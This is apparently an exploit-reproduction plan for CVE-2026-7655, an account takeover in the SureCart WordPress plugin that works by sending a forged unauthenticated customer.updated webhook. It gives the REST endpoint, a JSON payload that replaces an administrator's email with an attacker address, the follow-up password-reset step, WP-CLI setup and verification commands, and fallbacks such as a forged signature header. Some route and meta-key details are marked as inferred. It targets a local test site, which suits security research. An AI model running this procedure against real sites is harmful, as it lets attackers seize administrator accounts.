Research Plan: CVE-2026-7655 Account Takeover via Forged Webhook

1. Vulnerability Summary

The SureCart plugin for WordPress (versions <= 4.2.3) contains a privilege escalation vulnerability. The plugin's webhook handling logic, specifically for the customer.updated event, fails to properly authenticate the source of the webhook or validate the identity of the user before synchronizing profile data.

An unauthenticated attacker can send a forged JSON payload to the plugin's REST API webhook endpoint. If the attacker knows or guesses the customer_id associated with a WordPress user (including administrators), they can change that user's email address in the WordPress database. This allows the attacker to use the standard WordPress "Lost Password" feature to reset the administrator's password and take over the account.

2. Attack Vector Analysis

• Endpoint: WordPress REST API Webhook Endpoint.
  • Route (Inferred): /wp-json/surecart/v1/webhooks
  • Source Reference: app/config.php registers \SureCart\Rest\IncomingWebhooksRestServiceProvider::class.
• Method: POST
• Authentication: Unauthenticated (The permission_callback for webhook endpoints is typically __return_true to allow external service communication).
• Payload Type: application/json
• Preconditions:
  1. The target WordPress user (e.g., an Administrator) must be "linked" to a SureCart Customer record.
  2. The attacker must know the target's SureCart Customer ID (sc_id or similar meta value).

3. Code Flow

1. Request Entry: An HTTP POST request hits /wp-json/surecart/v1/webhooks.
2. Route Handling: IncomingWebhooksRestServiceProvider (via WebhooksRestServiceProvider) routes the request to a controller (likely WebhooksController).
3. Event Parsing: The controller parses the JSON payload and identifies the event type as customer.updated.
4. Verification Bypass: In vulnerable versions, the logic to verify the X-SureCart-Signature header is either missing, bypassed if the header is absent, or fails to stop processing on verification failure.
5. Sync Logic Trigger: The plugin invokes the synchronization service (registered via \SureCart\Sync\SyncServiceProvider).
6. User Identification: The sync logic searches for a WordPress user where the meta key (likely sc_id or surecart_customer_id) matches the id provided in the webhook data object.
7. Data Sink: The plugin calls wp_update_user() or directly modifies the user_email field for the found user using the email value provided in the forged payload.

4. Nonce Acquisition Strategy

Webhook endpoints are designed for server-to-server communication (SureCart Cloud to the WordPress site). Consequently, they do not require WordPress CSRF nonces (_wpnonce), as the external server cannot know them.

• Strategy: No nonce is required for this exploit. The request is an unauthenticated REST API call.

5. Exploitation Strategy

The goal is to update an administrator's email to an attacker-controlled address.

1. Identify Target: Target a user with manage_options capabilities.
2. Forged Payload: Construct a JSON payload that mimics a SureCart customer.updated event.
3. HTTP Request: Send the payload using the http_request tool.

Payload Example

{
  "event": "customer.updated",
  "data": {
    "id": "TARGET_CUSTOMER_ID",
    "email": "attacker@example.com",
    "first_name": "Pwned",
    "last_name": "User"
  }
}

Action Steps

1. POST Request:
   • URL: http://localhost:8080/wp-json/surecart/v1/webhooks
   • Headers: Content-Type: application/json
   • Body: The JSON payload above.
2. Password Reset: Navigate to http://localhost:8080/wp-login.php?action=lostpassword and enter the new email (attacker@example.com).

6. Test Data Setup

To simulate a "linked" account in the test environment:

1. Identify Admin User: Get the ID of the default admin (usually ID 1).

   wp user list --role=administrator
   

2. Link Admin to SureCart Customer ID: Assign a dummy SureCart ID (cus_123456) to the admin user. This mimics a user who has previously made a purchase or registered via SureCart.

   # We need to find the exact meta key used by SureCart. 
   # Based on SureCart code patterns, it is likely 'sc_id'.
   wp user meta add 1 sc_id "cus_123456"
   

3. Confirm Initial State: Note the original admin email.

   wp user get 1 --fields=user_email
   

7. Expected Results

• Response: The REST API should return a 200 OK or 201 Created response, potentially with a body like {"success": true} or acknowledging the event.
• State Change: The WordPress user's email address associated with the meta sc_id="cus_123456" should be updated to attacker@example.com.
• Account Takeover: The "Lost Password" workflow will now send reset emails to the attacker's mailbox.

8. Verification Steps

After sending the HTTP request, verify the change using WP-CLI:

1. Check User Email:

   wp user get 1 --fields=user_email
   

   • Success Criteria: The output shows attacker@example.com.
2. Check Meta Persistence: Ensure the link still exists.

   wp user meta get 1 sc_id
   

9. Alternative Approaches

If the inferred endpoint /wp-json/surecart/v1/webhooks returns a 404:

1. Enumerate Routes: Use wp rest route list to find all registered SureCart routes. Look for any route containing webhook or sync.
2. Check Alternative Meta Keys: If the email doesn't change, the meta key might be surecart_customer_id or sc_customer_id.
   • Try: wp user meta add 1 surecart_customer_id "cus_123456" and repeat the exploit.
3. Check Header Requirements: Some implementations of webhooks in SureCart might require a specific User-Agent or a dummy X-SureCart-Signature header (even if not strictly validated).
   • Try adding: X-SureCart-Signature: forged_signature to the request.